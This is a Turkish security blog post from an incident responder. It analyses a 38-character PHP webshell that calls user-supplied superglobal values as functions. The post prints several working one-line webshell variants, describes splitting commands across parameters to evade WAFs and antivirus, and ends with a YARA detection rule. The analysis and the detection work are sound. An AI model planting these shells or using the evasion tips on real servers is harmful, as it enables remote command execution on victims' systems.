karlos (Mehmet Demir)

love, hack, eat, sleep, repeat.

What The Shell PHP! - APT’lerin PHP Superglobal Tekniği

Siber alem günümüzde tam anlamıyla bir savaş alanına dönüşmüş durumda; devletler, kritik kurumlar ve stratejik sektörler sürekli hedef tahtasında. Teknolojiler geliştikçe saldırı yöntemleri de aynı oranda karmaşıklaşıyor, exploit zincirleri, supply chain saldırıları ve sofistike taktikler gündelik hale geliyor.

Ancak, tüm bu karmaşıklığın içerisinde zekice ve oldukça basit görünen bir hamle, en karmaşık saldırılardan bile daha etkili olabiliyor. Geçtiğimiz günlerde önemli bir kuruluş için müdahaleye gittiğimiz vakada karşılaştığımız masum gibi görünen 38 karakterlik çok basit bir PHP dosyası kurum ortamındaki güvenlik ürününden başarılı bir şekilde kaçınmıştı.

WebShell

Bu kodları içeren ilgili dosyaya ait logları incelediğimde bu dosyanın webshell olarak kullanıldığı kaçınılmazdı. İncelemeler sonrasında bu dosyayı izole bir ortamda canlandırıp nasıl çalıştığını çözmeye çalıştım. Güvenlik ürününden kaçınmıştı, gürültü yaratmamıştı ve saldırgan komut çalıştırabilmeyi başarmıştı. Yaptığım analizler sonrasında bu zararlı kodun çalışma mantığının “Superglobal” tipindeki değişkenleri kullanmasından ibaret olduğunu tespit ettim.

Supergloballer

PHP’de Superglobal tanımı, tüm kod blokları içerisinde erişilebilir olan global array tipi değişkenleri temsil ediyor. Bu değişkenlerin birkaçının değeri client (kullanıcı) tarafından tanımlanıyor.

Ek detay olarak, PHP’de array içerisinden gelen stringler fonksiyon adı olarak kullanılabiliyor. Bunun önemini yazının geri kalanında göreceksiniz.

Örneğin, aşağıdaki gibi bir kodumuz olsun.

<?php echo $_REQUEST['0']($_REQUEST['1']); ?>

Bu koda 0 parametresine “strtoupper”, 1 parametresine “forensics” gönderdiğimizi varsayalım. Kod aşağıdaki gibi davranacaktır. İki değer de string olarak geleceği için “forensics” yazısının string olarak kabul edilmesinde herhangi bir sorun olmayacak, “0” olarak gönderilen parametre fonksiyon olarak kullanılabilecek.

<?php echo strtoupper("forensics"); ?>

Çıktı olarak “FORENSICS” döndürecektir.

alt text
Strtoupper

Dolayısıyla, saldırgan asıl kodumuza “system” ve “whoami” değerlerini gönderdiğinde bu fonksiyonu kullanarak sisteme erişim sağlayabiliyor, standart güvenlik ürünlerini atlayabiliyor. Parametrenin alımı için kullanılan Superglobal tipine göre gönderilen isteğin türü değişiyor.

<?php $_POST['0']($_REQUEST['1']); ?>
alt text
Command Execution
alt text
Defender Evasion

PHP içerisinde birden çok Superglobal değişkeni tipi bulunuyor.

alt text
SuperGlobal Types
$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV

Bu değişkenler kod içerisinde bulundurulduğunda, 5 adeti ($_GET, $_POST, $_FILES, $_COOKIE, $_REQUEST) kullanıcılar tarafından kontrol edilebiliyor. Güvenlik ürünlerinden kaçınabilecek bir WebShell üretimi için birlikte kullanılabilecek ve obfuscate hale getirilebilecek bir sürü kombinasyon oluşturulabiliyor.

$_GET: HTTP GET yoluyla gönderilen parametrelerdir. URL içerisine parametre eklenerek kontrol edilir.

<?php $_GET['0']($_GET['1']); ?>
alt text
HTTP GET

$_POST: HTTP POST yoluyla gönderilen parametrelerdir. HTTP verisi içerisine parametre eklenerek kontrol edilir.

<?php $_POST['0']($_POST['1']); ?>
alt text
HTTP POST

$_FILES: HTTP POST yoluyla gönderilen dosyaların içeriğini işler.

$_COOKIE: Çerezler yoluyla gönderilen içeriği işler.

$_REQUEST: Hem $_GET, hem de $_POST değişkenleri yoluyla gönderilen verileri işler.

Bu noktada saldırganların elindeki koz, legit olarak da kullanılan bu değişkenlerin farklı kombinasyonlarda kullanılabilmesidir. Bu değişkenlere gönderilecek fonksiyonlar ve parametreler birbirine zincirlenerek ya da farklı parametreler içerisinde parçalanmış şekilde çağrılarak güvenlik ürünlerinin kural tabanlı tespit mekanizmalarını atlatabilir. Örneğin saldırgan, whoami komutunu tek bir parametreyle göndermek ve WAF’ı tetiklemek yerine aynı veya farklı HTTP istekleri içerisinde 10 farklı parametre kullanarak harfleri parça parça iletip kodun bunları birleştirmesini ve arka planda çalıştırmasını sağlayabilir. Kombine edilebilecek bu kullanımlarla yüzlerce varyasyon üretmek ve çoğu kontrolü boşa çıkarmak mümkündür.

PHP’nin doğası gereği Superglobal değişkenlerinin isimleri parçalanamaz, encodingden geri döndürülemez ve variable variables olarak kullanılamaz. Bu teknikle oluşturulan temel ve basit webshellerin tespiti aşağıda yazdığım YARA kuralı ile mümkündür.

rule php_superglobal_webshell
{
    meta:
        author = "Karlos (Mehmet Demir)"
        description = "Detect minimal webshells using multiple superglobals"
        date = "2025-08-29"
        reference = "https://jackalkarlos.github.io/pages/whattheshell-en.html"
        score = 80
        fp_notes = "Legitimate web applications that use multiple globals"
    strings:
        $sg1 = "$_GET"
        $sg2 = "$_POST"
        $sg3 = "$_REQUEST"
        $sg4 = "$_COOKIE"
        $sg5 = "$_FILES"
    condition:
        (#sg1 + #sg2 + #sg3 + #sg4 + #sg5) >= 2 and
        filesize < 20KB
}

Görüldüğü örnekten anlaşılacağı üzere güvenlik ekiplerinin yalnızca bilinen kalıplara odaklanması yeterli değildir; kod analizi ve security assessment çalışmaları kurumların güvenliğinin sağlanması için kritik bir önem taşımaktadır.

Eğer bir sorunuz olursa LinkedIn üzerinden erişebilirsiniz.